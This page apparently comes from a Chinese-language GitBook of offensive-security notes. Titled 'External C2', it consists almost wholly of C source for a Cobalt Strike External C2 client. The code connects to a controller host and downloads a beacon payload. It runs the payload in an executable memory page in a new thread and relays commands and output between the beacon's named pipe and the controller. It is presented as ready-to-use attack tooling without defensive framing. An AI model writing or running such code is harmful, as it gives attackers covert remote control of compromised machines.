> For the complete documentation index, see [llms.txt](https://pwc-3.gitbook.io/pwc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pwc-3.gitbook.io/pwc/gong-ju/untitled-1/cobalt-strikekuo-zhan/external-c2.md).

# External C2

​

// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread

void spawnBeacon(char \*payload, DWORD len) {

​

&#x20;HANDLE threadHandle;

&#x20;DWORD threadId = 0;

&#x20;char \*alloc = (char \*)VirtualAlloc(NULL, len, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE);

&#x20;memcpy(alloc, payload, len);

​

&#x20;threadHandle = CreateThread(NULL, NULL, (LPTHREAD\_START\_ROUTINE)alloc, NULL, 0, \&threadId);

&#x20;}

​

// Sends data to our C2 controller received from our injected beacon

void sendData(SOCKET sd, const char \*data, DWORD len) {

&#x20;char \*buffer = (char \*)malloc(len + 4);

&#x20;if (buffer == NULL)

&#x20;return;

​

&#x20;DWORD bytesWritten = 0, totalLen = 0;

​

&#x20;\*(DWORD \*)buffer = len;

&#x20;memcpy(buffer + 4, data, len);

​

&#x20;while (totalLen < len + 4) {

&#x20;bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);

&#x20;totalLen += bytesWritten;

&#x20;}

&#x20;free(buffer);

}

​

// Receives data from our C2 controller to be relayed to the injected beacon

char \*recvData(SOCKET sd, DWORD \*len) {

&#x20;char \*buffer;

&#x20;DWORD bytesReceived = 0, totalLen = 0;

​

&#x20;\*len = 0;

​

&#x20;recv(sd, (char \*)len, 4, 0);

&#x20;buffer = (char \*)malloc(\*len);

&#x20;if (buffer == NULL)

&#x20;return NULL;

​

&#x20;while (totalLen < \*len) {

&#x20;bytesReceived = recv(sd, buffer + totalLen, \*len - totalLen, 0);

&#x20;totalLen += bytesReceived;

&#x20;}

&#x20;return buffer;

}

​

// Creates a new C2 controller connection for relaying commands

SOCKET createC2Socket(const char \*addr, WORD port) {

&#x20;WSADATA wsd;

&#x20;SOCKET sd;

&#x20;SOCKADDR\_IN sin;

&#x20;WSAStartup(0x0202, \&wsd);

​

&#x20;memset(\&sin, 0, sizeof(sin));

&#x20;sin.sin\_family = AF\_INET;

&#x20;sin.sin\_port = htons(port);

&#x20;sin.sin\_addr.S\_un.S\_addr = inet\_addr(addr);

​

&#x20;sd = socket(AF\_INET, SOCK\_STREAM, IPPROTO\_IP);

&#x20;connect(sd, (SOCKADDR\*)\&sin, sizeof(sin));

​

&#x20;return sd;

}

​

// Connects to the name pipe spawned by the injected beacon

HANDLE connectBeaconPipe(const char \*pipeName) {

&#x20;HANDLE beaconPipe;

​

&#x20;beaconPipe = CreateFileA(pipeName, GENERIC\_READ | GENERIC\_WRITE, 0, NULL, OPEN\_EXISTING, NULL, NULL);

​

&#x20;return beaconPipe;

}

​

// Receives data from our injected beacon via a named pipe

char \*recvFromBeacon(HANDLE pipe, DWORD \*len) {

&#x20;char \*buffer;

&#x20;DWORD bytesRead = 0, totalLen = 0;

​

&#x20;\*len = 0;

​

&#x20;ReadFile(pipe, len, 4, \&bytesRead, NULL);

&#x20;buffer = (char \*)malloc(\*len);

​

&#x20;while (totalLen < \*len) {

&#x20;ReadFile(pipe, buffer + totalLen, \*len - totalLen, \&bytesRead, NULL);

&#x20;totalLen += bytesRead;

&#x20;}

&#x20;return buffer;

}

​

// Write data to our injected beacon via a named pipe

void sendToBeacon(HANDLE pipe, const char \*data, DWORD len) {

&#x20;DWORD bytesWritten = 0;

&#x20;WriteFile(pipe, \&len, 4, \&bytesWritten, NULL);

&#x20;WriteFile(pipe, data, len, \&bytesWritten, NULL);

}

​

int main()

{

&#x20;DWORD payloadLen = 0;

&#x20;char \*payloadData = NULL;

&#x20;HANDLE beaconPipe = INVALID\_HANDLE\_VALUE;

​

&#x20;// Create a connection back to our C2 controller

&#x20;SOCKET c2socket = createC2Socket("192.168.1.65", 8081);

&#x20;payloadData = recvData(c2socket, \&payloadLen);

​

&#x20;// Start the CS beacon

&#x20;spawnBeacon(payloadData, payloadLen);

​

&#x20;// Loop until the pipe is up and ready to use

&#x20;while (beaconPipe == INVALID\_HANDLE\_VALUE) {

&#x20;// Create our IPC pipe for talking to the C2 beacon

&#x20;Sleep(500);

&#x20;beaconPipe = connectBeaconPipe("\\\\\\\\.\\\pipe\\\xpntest");

&#x20;}

​

&#x20;while (true) {

&#x20;// Start the pipe dance

&#x20;payloadData = recvFromBeacon(beaconPipe, \&payloadLen);

&#x20;if (payloadLen == 0) break;

​

&#x20;sendData(c2socket, payloadData, payloadLen);

&#x20;free(payloadData);

​

&#x20;payloadData = recvData(c2socket, \&payloadLen);

&#x20;if (payloadLen == 0) break;

​

&#x20;sendToBeacon(beaconPipe, payloadData, payloadLen);

&#x20;free(payloadData);

&#x20;}

​

​

&#x20;return 0;

}
